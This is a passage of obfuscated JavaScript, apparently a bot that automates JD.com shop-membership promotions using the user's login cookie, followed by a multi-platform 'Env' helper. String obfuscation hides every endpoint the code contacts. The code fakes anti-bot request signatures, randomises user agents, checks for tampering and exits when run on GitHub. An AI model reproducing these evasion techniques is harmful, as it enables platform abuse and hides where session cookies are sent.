_0x118dx1c[__Oxe7be9[0xa2]][__Oxe7be9[0x23]]}}else {if(_0x118dx1c[__Oxe7be9[0xa4]]){console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${_0x118dxc}${__Oxe7be9[0x35]}${_0x118dx1c[__Oxe7be9[0xa4]]|| __Oxe7be9[0x0]}${__Oxe7be9[0x0]}`)}else {console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${_0x118dxc}${__Oxe7be9[0x35]}${_0x118dx16}${__Oxe7be9[0x0]}`)}}}else {console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${_0x118dxc}${__Oxe7be9[0x35]}${_0x118dx16}${__Oxe7be9[0x0]}`)};break;case __Oxe7be9[0x4d]:if( typeof _0x118dx1c== __Oxe7be9[0x89]){$[__Oxe7be9[0xb2]]= _0x118dx1c[__Oxe7be9[0xa2]][__Oxe7be9[0xb2]];$[__Oxe7be9[0x3c]]= _0x118dx1c[__Oxe7be9[0xa2]][__Oxe7be9[0xb2]]}else {console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${_0x118dxc}${__Oxe7be9[0x35]}${_0x118dx16}${__Oxe7be9[0x0]}`)};break;case __Oxe7be9[0x59]:console[__Oxe7be9[0x8]](`${__Oxe7be9[0xb3]}${_0x118dx16}${__Oxe7be9[0x0]}`);if( typeof _0x118dx1c== __Oxe7be9[0x89]){$[__Oxe7be9[0xb4]]= _0x118dx1c[__Oxe7be9[0xa2]][__Oxe7be9[0xb4]];$[__Oxe7be9[0x23]]= _0x118dx1c[__Oxe7be9[0xa2]][__Oxe7be9[0x23]];$[__Oxe7be9[0xb5]]= _0x118dx1c[__Oxe7be9[0xa2]][__Oxe7be9[0xb5]];console[__Oxe7be9[0x8]]($[__Oxe7be9[0xb4]])}else {console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${_0x118dxc}${__Oxe7be9[0x35]}${_0x118dx16}${__Oxe7be9[0x0]}`)};break;case __Oxe7be9[0x5c]:if( typeof _0x118dx1c== __Oxe7be9[0x89]){if(_0x118dx1c[__Oxe7be9[0xa1]]&& _0x118dx1c[__Oxe7be9[0xa1]]=== true){}else {if(_0x118dx1c[__Oxe7be9[0xa4]]){if(_0x118dx1c[__Oxe7be9[0xa4]][__Oxe7be9[0x52]](__Oxe7be9[0xb6])> -1){$[__Oxe7be9[0x17]]= true};console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${_0x118dxc}${__Oxe7be9[0x35]}${_0x118dx1c[__Oxe7be9[0xa4]]|| __Oxe7be9[0x0]}${__Oxe7be9[0x0]}`)}else {console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${_0x118dxc}${__Oxe7be9[0x35]}${_0x118dx16}${__Oxe7be9[0x0]}`)}}}else {console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${_0x118dxc}${__Oxe7be9[0x35]}${_0x118dx16}${__Oxe7be9[0x0]}`)};break;case __Oxe7be9[0x4c]:if( typeof _0x118dx1c== __Oxe7be9[0x89]){if(_0x118dx1c[__Oxe7be9[0xa1]]&& _0x118dx1c[__Oxe7be9[0xa1]]=== true){$[__Oxe7be9[0xb7]]= _0x118dx1c[__Oxe7be9[0xa2]][__Oxe7be9[0x4c]];$[__Oxe7be9[0xb8]]= _0x118dx1c[__Oxe7be9[0xa2]][__Oxe7be9[0xb8]];$[__Oxe7be9[0xb1]]= _0x118dx1c[__Oxe7be9[0xa2]][__Oxe7be9[0xb1]]}else {if(_0x118dx1c[__Oxe7be9[0xa4]]){console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${_0x118dxc}${__Oxe7be9[0x35]}${_0x118dx1c[__Oxe7be9[0xa4]]|| __Oxe7be9[0x0]}${__Oxe7be9[0x0]}`)}else {console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${_0x118dxc}${__Oxe7be9[0x35]}${_0x118dx16}${__Oxe7be9[0x0]}`)}}}else {console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${_0x118dxc}${__Oxe7be9[0x35]}${_0x118dx16}${__Oxe7be9[0x0]}`)};break;case __Oxe7be9[0x5a]:break;case __Oxe7be9[0x49]:console[__Oxe7be9[0x8]](`${__Oxe7be9[0xb9]}${_0x118dx16}${__Oxe7be9[0x0]}`);break;default:console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${_0x118dxc}${__Oxe7be9[0xba]}${_0x118dx16}${__Oxe7be9[0x0]}`)};if( typeof _0x118dx1c== __Oxe7be9[0x89]){if(_0x118dx1c[__Oxe7be9[0xa4]]){if(_0x118dx1c[__Oxe7be9[0xa4]][__Oxe7be9[0x52]](__Oxe7be9[0xbb])> -1){$[__Oxe7be9[0x11]]= true}}}}catch(e){console[__Oxe7be9[0x8]](e)}}function getPostRequest(_0x118dx1e,_0x118dxe,_0x118dxf= __Oxe7be9[0x64]){let _0x118dx1f={"\x41\x63\x63\x65\x70\x74":__Oxe7be9[0xbc],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxe7be9[0xbd],"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxe7be9[0xbe],"\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E":__Oxe7be9[0xbf],"\x43\x6F\x6E\x74\x65\x6E\x74\x2D\x54\x79\x70\x65":__Oxe7be9[0xc0],"\x43\x6F\x6F\x6B\x69\x65":cookie,"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxe7be9[0xc1]],"\x58\x2D\x52\x65\x71\x75\x65\x73\x74\x65\x64\x2D\x57\x69\x74\x68":__Oxe7be9[0xc2]};if(_0x118dx1e[__Oxe7be9[0x52]](__Oxe7be9[0x63])> -1){_0x118dx1f[__Oxe7be9[0xc3]]= `${__Oxe7be9[0xc4]}${$[__Oxe7be9[0x20]]}${__Oxe7be9[0x28]}`;if(_0x118dx1e[__Oxe7be9[0x52]](__Oxe7be9[0x4a])> -1){_0x118dx1f[__Oxe7be9[0xc5]]= `${__Oxe7be9[0x0]}${activityCookie}${__Oxe7be9[0xc6]}${$[__Oxe7be9[0x47]]}${__Oxe7be9[0x8d]}`}else {if(_0x118dx1e[__Oxe7be9[0x52]](__Oxe7be9[0xc7])> -1){_0x118dx1f[__Oxe7be9[0xc5]]= `${__Oxe7be9[0xc8]}${$[__Oxe7be9[0x3f]]}${__Oxe7be9[0x8d]}${activityCookie}${__Oxe7be9[0xc6]}${$[__Oxe7be9[0x47]]}${__Oxe7be9[0x8d]}`}else {_0x118dx1f[__Oxe7be9[0xc5]]= `${__Oxe7be9[0x0]}${activityCookie}${__Oxe7be9[0xc6]}${$[__Oxe7be9[0x47]]}${__Oxe7be9[0x8d]}`}}};return {url:_0x118dx1e,method:_0x118dxf,headers:_0x118dx1f,body:_0x118dxe,timeout:30000}}function getToken(){return new Promise((_0x118dx13)=>{$[__Oxe7be9[0xcd]]({url:`${__Oxe7be9[0xc9]}`,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":__Oxe7be9[0xca]},timeout:30000},(_0x118dx14,_0x118dx15,_0x118dx16)=>{try{if(_0x118dx14){console[__Oxe7be9[0x8]](`${__Oxe7be9[0xcb]}`)}else {_0x118dx16= JSON[__Oxe7be9[0x9a]](_0x118dx16);if(_0x118dx16[__Oxe7be9[0xcc]]== 0){_0x118dx16= _0x118dx16[__Oxe7be9[0xa2]]}else {_0x118dx16= __Oxe7be9[0x0]}}}catch(e){$[__Oxe7be9[0x1a]](e,_0x118dx15)}finally{_0x118dx13(_0x118dx16|| __Oxe7be9[0x0])}})})}function getCk(){return new Promise((_0x118dx13)=>{let _0x118dx22={url:`${__Oxe7be9[0xc4]}${$[__Oxe7be9[0x20]]}${__Oxe7be9[0x28]}`,followRedirect:false,headers:{"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":$[__Oxe7be9[0xc1]]},timeout:30000};$[__Oxe7be9[0xcd]](_0x118dx22,async (_0x118dx14,_0x118dx15,_0x118dx16)=>{try{if(_0x118dx14){if(_0x118dx15&& typeof _0x118dx15[__Oxe7be9[0x94]]!= __Oxe7be9[0x95]){if(_0x118dx15[__Oxe7be9[0x94]]== 493){console[__Oxe7be9[0x8]](__Oxe7be9[0x44]);$[__Oxe7be9[0x12]]= true}};console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${$[__Oxe7be9[0x96]](_0x118dx14)}${__Oxe7be9[0x0]}`);console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${$[__Oxe7be9[0x1c]]}${__Oxe7be9[0xce]}`)}else {let _0x118dx23=_0x118dx16[__Oxe7be9[0x2b]](/(活动已经结束)/)&& _0x118dx16[__Oxe7be9[0x2b]](/(活动已经结束)/)[0x1]|| __Oxe7be9[0x0];if(_0x118dx23){$[__Oxe7be9[0x13]]= true;console[__Oxe7be9[0x8]](__Oxe7be9[0xcf])};$[__Oxe7be9[0xb1]]= _0x118dx16[__Oxe7be9[0x2b]](//)[0x1]|| __Oxe7be9[0x0];$[__Oxe7be9[0x50]]= _0x118dx16[__Oxe7be9[0x2b]](//)[0x1]|| __Oxe7be9[0x0];setActivityCookie(_0x118dx15)}}catch(e){$[__Oxe7be9[0x1a]](e,_0x118dx15)}finally{_0x118dx13()}})})}function setActivityCookie(_0x118dx15){if(_0x118dx15[__Oxe7be9[0x86]][__Oxe7be9[0x87]]){cookie= originCookie+ __Oxe7be9[0x8d];for(let _0x118dx25 of _0x118dx15[__Oxe7be9[0x86]][__Oxe7be9[0x87]]){lz_cookie[_0x118dx25[__Oxe7be9[0x8b]](__Oxe7be9[0x8d])[0x0][__Oxe7be9[0xd0]](0,_0x118dx25[__Oxe7be9[0x8b]](__Oxe7be9[0x8d])[0x0][__Oxe7be9[0x52]](__Oxe7be9[0x8e]))]= _0x118dx25[__Oxe7be9[0x8b]](__Oxe7be9[0x8d])[0x0][__Oxe7be9[0xd0]](_0x118dx25[__Oxe7be9[0x8b]](__Oxe7be9[0x8d])[0x0][__Oxe7be9[0x52]](__Oxe7be9[0x8e])+ 1)};for(const _0x118dx26 of Object[__Oxe7be9[0x4]](lz_cookie)){cookie+= (_0x118dx26+ __Oxe7be9[0x8e]+ lz_cookie[_0x118dx26]+ __Oxe7be9[0x8d])};activityCookie= cookie}}async function getUA(){$[__Oxe7be9[0xc1]]= `${__Oxe7be9[0xd1]}${randomString(40)}${__Oxe7be9[0xd2]}`}function randomString(_0x118dx7){_0x118dx7= _0x118dx7|| 32;let _0x118dx29=__Oxe7be9[0xd3],_0x118dx2a=_0x118dx29[__Oxe7be9[0x29]],_0x118dx2b=__Oxe7be9[0x0];for(i= 0;i< _0x118dx7;i++){_0x118dx2b+= _0x118dx29[__Oxe7be9[0xd5]](Math[__Oxe7be9[0xd4]](Math[__Oxe7be9[0x38]]()* _0x118dx2a))};return _0x118dx2b}function jsonParse(_0x118dx2d){if( typeof _0x118dx2d== __Oxe7be9[0xd6]){try{return JSON[__Oxe7be9[0x9a]](_0x118dx2d)}catch(e){console[__Oxe7be9[0x8]](e);$[__Oxe7be9[0x1f]]($[__Oxe7be9[0x1c]],__Oxe7be9[0x0],__Oxe7be9[0xd7]);return []}}}async function joinShop(){if(!$[__Oxe7be9[0x4f]]){return};return new Promise(async (_0x118dx13)=>{$[__Oxe7be9[0x53]]= __Oxe7be9[0x0];let _0x118dx2f=`${__Oxe7be9[0x0]}`; await getshopactivityId();if($[__Oxe7be9[0xd8]]){_0x118dx2f= `${__Oxe7be9[0xd9]}${$[__Oxe7be9[0xd8]]}${__Oxe7be9[0x0]}`};let _0x118dxe=`${__Oxe7be9[0xda]}${$[__Oxe7be9[0x4f]]}${__Oxe7be9[0xdb]}${_0x118dx2f}${__Oxe7be9[0xdc]}`;let _0x118dx30=__Oxe7be9[0x0];_0x118dx30= await geth5st();const _0x118dx31={url:`${__Oxe7be9[0xdd]}${_0x118dxe}${__Oxe7be9[0xde]}${_0x118dx30}${__Oxe7be9[0x0]}`,headers:{'\x61\x63\x63\x65\x70\x74':__Oxe7be9[0xdf],'\x61\x63\x63\x65\x70\x74\x2D\x65\x6E\x63\x6F\x64\x69\x6E\x67':__Oxe7be9[0xbd],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxe7be9[0xe0],'\x63\x6F\x6F\x6B\x69\x65':cookie,'\x6F\x72\x69\x67\x69\x6E':__Oxe7be9[0xe1],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':$[__Oxe7be9[0xc1]]}}; await $[__Oxe7be9[0x39]](500);$[__Oxe7be9[0xcd]](_0x118dx31,async (_0x118dx14,_0x118dx15,_0x118dx16)=>{try{_0x118dx16= _0x118dx16&& _0x118dx16[__Oxe7be9[0x2b]](/jsonp_.*?\((.*?)\);/)&& _0x118dx16[__Oxe7be9[0x2b]](/jsonp_.*?\((.*?)\);/)[0x1]|| _0x118dx16;let _0x118dx1c=$[__Oxe7be9[0xe2]](_0x118dx16,_0x118dx16);if(_0x118dx1c&& typeof _0x118dx1c== __Oxe7be9[0x89]){if(_0x118dx1c&& _0x118dx1c[__Oxe7be9[0xe3]]=== true){console[__Oxe7be9[0x8]](_0x118dx1c[__Oxe7be9[0x9f]]);$[__Oxe7be9[0x53]]= _0x118dx1c[__Oxe7be9[0x9f]];if(_0x118dx1c[__Oxe7be9[0xa1]]&& _0x118dx1c[__Oxe7be9[0xa1]][__Oxe7be9[0xe4]]){for(let _0x118dx8 of _0x118dx1c[__Oxe7be9[0xa1]][__Oxe7be9[0xe4]][__Oxe7be9[0xe5]]){console[__Oxe7be9[0x8]](`${__Oxe7be9[0xe6]}${_0x118dx8[__Oxe7be9[0xe7]]}${__Oxe7be9[0x0]}${_0x118dx8[__Oxe7be9[0xe8]]}${__Oxe7be9[0x0]}${_0x118dx8[__Oxe7be9[0xe9]]}${__Oxe7be9[0x0]}`)}}}else {if(_0x118dx1c&& typeof _0x118dx1c== __Oxe7be9[0x89]&& _0x118dx1c[__Oxe7be9[0x9f]]){$[__Oxe7be9[0x53]]= _0x118dx1c[__Oxe7be9[0x9f]];console[__Oxe7be9[0x8]](`${__Oxe7be9[0x0]}${_0x118dx1c[__Oxe7be9[0x9f]]|| __Oxe7be9[0x0]}${__Oxe7be9[0x0]}`)}else {console[__Oxe7be9[0x8]](_0x118dx16)}}}else {console[__Oxe7be9[0x8]](_0x118dx16)}}catch(e){$[__Oxe7be9[0x1a]](e,_0x118dx15)}finally{_0x118dx13()}})})}async function getshopactivityId(){return new Promise(async (_0x118dx13)=>{let _0x118dxe=`${__Oxe7be9[0xda]}${$[__Oxe7be9[0x4f]]}${__Oxe7be9[0xea]}`;let _0x118dx30=`${__Oxe7be9[0x0]}${ new Date(Date[__Oxe7be9[0x60]]()).Format(__Oxe7be9[0xeb])}${__Oxe7be9[0x8d]}${generateFp()}${__Oxe7be9[0xec]}${Date[__Oxe7be9[0x60]]()}${__Oxe7be9[0x0]}`;_0x118dx30= encodeURIComponent(_0x118dx30);const _0x118dx31={url:`${__Oxe7be9[0xed]}${_0x118dxe}${__Oxe7be9[0xde]}${_0x118dx30}${__Oxe7be9[0x0]}`,headers:{'\x61\x63\x63\x65\x70\x74':__Oxe7be9[0xdf],'\x61\x63\x63\x65\x70\x74\x2D\x65\x6E\x63\x6F\x64\x69\x6E\x67':__Oxe7be9[0xbd],'\x61\x63\x63\x65\x70\x74\x2D\x6C\x61\x6E\x67\x75\x61\x67\x65':__Oxe7be9[0xe0],'\x63\x6F\x6F\x6B\x69\x65':cookie,'\x6F\x72\x69\x67\x69\x6E':__Oxe7be9[0xe1],'\x75\x73\x65\x72\x2D\x61\x67\x65\x6E\x74':$[__Oxe7be9[0xc1]]}}; await $[__Oxe7be9[0x39]](500);$[__Oxe7be9[0xcd]](_0x118dx31,async (_0x118dx14,_0x118dx15,_0x118dx16)=>{try{_0x118dx16= _0x118dx16&& _0x118dx16[__Oxe7be9[0x2b]](/jsonp_.*?\((.*?)\);/)&& _0x118dx16[__Oxe7be9[0x2b]](/jsonp_.*?\((.*?)\);/)[0x1]|| _0x118dx16;let _0x118dx1c=$[__Oxe7be9[0xe2]](_0x118dx16,_0x118dx16);if(_0x118dx1c&& typeof _0x118dx1c== __Oxe7be9[0x89]){if(_0x118dx1c&& _0x118dx1c[__Oxe7be9[0xe3]]== true){console[__Oxe7be9[0x8]](`${__Oxe7be9[0xee]}${_0x118dx1c[__Oxe7be9[0xa1]][0x0][__Oxe7be9[0xf0]][__Oxe7be9[0xef]]|| __Oxe7be9[0x0]}${__Oxe7be9[0x0]}`);$[__Oxe7be9[0xd8]]= _0x118dx1c[__Oxe7be9[0xa1]][0x0][__Oxe7be9[0xf1]]&& _0x118dx1c[__Oxe7be9[0xa1]][0x0][__Oxe7be9[0xf1]][0x0]&& _0x118dx1c[__Oxe7be9[0xa1]][0x0][__Oxe7be9[0xf1]][0x0][__Oxe7be9[0xf2]]&& _0x118dx1c[__Oxe7be9[0xa1]][0x0][__Oxe7be9[0xf1]][0x0][__Oxe7be9[0xf2]][__Oxe7be9[0x20]]|| __Oxe7be9[0x0]}}else {console[__Oxe7be9[0x8]](_0x118dx16)}}catch(e){$[__Oxe7be9[0x1a]](e,_0x118dx15)}finally{_0x118dx13()}})})}function generateFp(){let _0x118dx7=__Oxe7be9[0xf3];let _0x118dx2a=13;let _0x118dx8=__Oxe7be9[0x0];for(;_0x118dx2a--;){_0x118dx8+= _0x118dx7[Math[__Oxe7be9[0x38]]()* _0x118dx7[__Oxe7be9[0x29]]| 0]};return (_0x118dx8+ Date[__Oxe7be9[0x60]]())[__Oxe7be9[0xf4]](0,16)}function geth5st(){let _0x118dx35=Date[__Oxe7be9[0x60]]();let _0x118dx36=generateFp();let _0x118dx37= new Date(_0x118dx35).Format(__Oxe7be9[0xeb]);let _0x118dx38=__Oxe7be9[0x0];let _0x118dx39=__Oxe7be9[0x0];let _0x118dx3a=[__Oxe7be9[0xf5],__Oxe7be9[0xf6],__Oxe7be9[0xf7]];let _0x118dx3b=_0x118dx3a[random(0,_0x118dx3a[__Oxe7be9[0x29]])];return encodeURIComponent(_0x118dx37+ __Oxe7be9[0x8d]+ _0x118dx3b+ _0x118dx36+ __Oxe7be9[0x0]+ Date[__Oxe7be9[0x60]]())}function getH5st(){let _0x118dx35=Date[__Oxe7be9[0x60]]();let _0x118dx36=generateFp();let _0x118dx37= new Date(_0x118dx35).Format(__Oxe7be9[0xeb]);return encodeURIComponent(_0x118dx37+ __Oxe7be9[0x8d]+ __Oxe7be9[0x0]+ _0x118dx36+ __Oxe7be9[0xf6]+ Date[__Oxe7be9[0x60]]())}Date[__Oxe7be9[0xf9]][__Oxe7be9[0xf8]]= function(_0x118dx3d){var _0x118dx7,_0x118dx2b=this,_0x118dx3e=_0x118dx3d,_0x118dx3f={"\x4D\x2B":_0x118dx2b[__Oxe7be9[0xfa]]()+ 1,"\x64\x2B":_0x118dx2b[__Oxe7be9[0xfb]](),"\x44\x2B":_0x118dx2b[__Oxe7be9[0xfb]](),"\x68\x2B":_0x118dx2b[__Oxe7be9[0xfc]](),"\x48\x2B":_0x118dx2b[__Oxe7be9[0xfc]](),"\x6D\x2B":_0x118dx2b[__Oxe7be9[0xfd]](),"\x73\x2B":_0x118dx2b[__Oxe7be9[0xfe]](),"\x77\x2B":_0x118dx2b[__Oxe7be9[0xff]](),"\x71\x2B":Math[__Oxe7be9[0xd4]]((_0x118dx2b[__Oxe7be9[0xfa]]()+ 3)/ 3),"\x53\x2B":_0x118dx2b[__Oxe7be9[0x100]]()};/(y+)/i[__Oxe7be9[0x101]](_0x118dx3e)&& (_0x118dx3e= _0x118dx3e[__Oxe7be9[0x91]](RegExp.$1,__Oxe7be9[0x0][__Oxe7be9[0x104]](_0x118dx2b[__Oxe7be9[0x103]]())[__Oxe7be9[0xd0]](4- RegExp[__Oxe7be9[0x102]][__Oxe7be9[0x29]])));for(var _0x118dx40 in _0x118dx3f){if( new RegExp(__Oxe7be9[0x106][__Oxe7be9[0x104]](_0x118dx40,__Oxe7be9[0x105]))[__Oxe7be9[0x101]](_0x118dx3e)){var _0x118dx29,_0x118dx2a=__Oxe7be9[0x107]=== _0x118dx40?__Oxe7be9[0x108]:__Oxe7be9[0x109];_0x118dx3e= _0x118dx3e[__Oxe7be9[0x91]](RegExp.$1,1== RegExp[__Oxe7be9[0x102]][__Oxe7be9[0x29]]?_0x118dx3f[_0x118dx40]:(__Oxe7be9[0x0][__Oxe7be9[0x104]](_0x118dx2a)+ _0x118dx3f[_0x118dx40])[__Oxe7be9[0xd0]](__Oxe7be9[0x0][__Oxe7be9[0x104]](_0x118dx3f[_0x118dx40])[__Oxe7be9[0x29]]))}};return _0x118dx3e};function random(_0x118dx42,_0x118dx43){return Math[__Oxe7be9[0xd4]](Math[__Oxe7be9[0x38]]()* (_0x118dx43- _0x118dx42))+ _0x118dx42}function checkCookie(){const _0x118dx31={url:__Oxe7be9[0x10a],headers:{"\x48\x6F\x73\x74":__Oxe7be9[0x10b],"\x41\x63\x63\x65\x70\x74":__Oxe7be9[0xdf],"\x43\x6F\x6E\x6E\x65\x63\x74\x69\x6F\x6E":__Oxe7be9[0xbf],"\x43\x6F\x6F\x6B\x69\x65":cookie,"\x55\x73\x65\x72\x2D\x41\x67\x65\x6E\x74":__Oxe7be9[0x10c],"\x41\x63\x63\x65\x70\x74\x2D\x4C\x61\x6E\x67\x75\x61\x67\x65":__Oxe7be9[0xbe],"\x52\x65\x66\x65\x72\x65\x72":__Oxe7be9[0x10d],"\x41\x63\x63\x65\x70\x74\x2D\x45\x6E\x63\x6F\x64\x69\x6E\x67":__Oxe7be9[0xbd]}};return new Promise((_0x118dx13)=>{$[__Oxe7be9[0xcd]](_0x118dx31,(_0x118dx14,_0x118dx15,_0x118dx16)=>{try{if(_0x118dx14){$[__Oxe7be9[0x1a]](_0x118dx14)}else {if(_0x118dx16){_0x118dx16= JSON[__Oxe7be9[0x9a]](_0x118dx16);if(_0x118dx16[__Oxe7be9[0x10e]]== __Oxe7be9[0x10f]){$[__Oxe7be9[0x2f]]= false;return}else {$[__Oxe7be9[0x2f]]= true;return};if(_0x118dx16[__Oxe7be9[0x10e]]=== __Oxe7be9[0x110]&& _0x118dx16[__Oxe7be9[0xa2]][__Oxe7be9[0x112]](__Oxe7be9[0x111])){$[__Oxe7be9[0x2e]]= _0x118dx16[__Oxe7be9[0xa2]][__Oxe7be9[0x111]][__Oxe7be9[0x113]][__Oxe7be9[0xa6]]}}else {$[__Oxe7be9[0x8]](__Oxe7be9[0x114])}}}catch(e){$[__Oxe7be9[0x1a]](e)}finally{_0x118dx13()}})})}(function(_0x118dx45,_0x118dx46,_0x118dx47,_0x118dx48,_0x118dx49,_0x118dx40){_0x118dx40= __Oxe7be9[0x95];_0x118dx48= function(_0x118dx4a){if( typeof alert!== _0x118dx40){alert(_0x118dx4a)};if( typeof console!== _0x118dx40){console[__Oxe7be9[0x8]](_0x118dx4a)}};_0x118dx47= function(_0x118dx2a,_0x118dx45){return _0x118dx2a+ _0x118dx45};_0x118dx49= _0x118dx47(__Oxe7be9[0x115],_0x118dx47(_0x118dx47(__Oxe7be9[0x116],__Oxe7be9[0x117]),__Oxe7be9[0x118]));try{_0x118dx45= __encode;if(!( typeof _0x118dx45!== _0x118dx40&& _0x118dx45=== _0x118dx47(__Oxe7be9[0x119],__Oxe7be9[0x11a]))){_0x118dx48(_0x118dx49)}}catch(e){_0x118dx48(_0x118dx49)}})({}) + + +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else 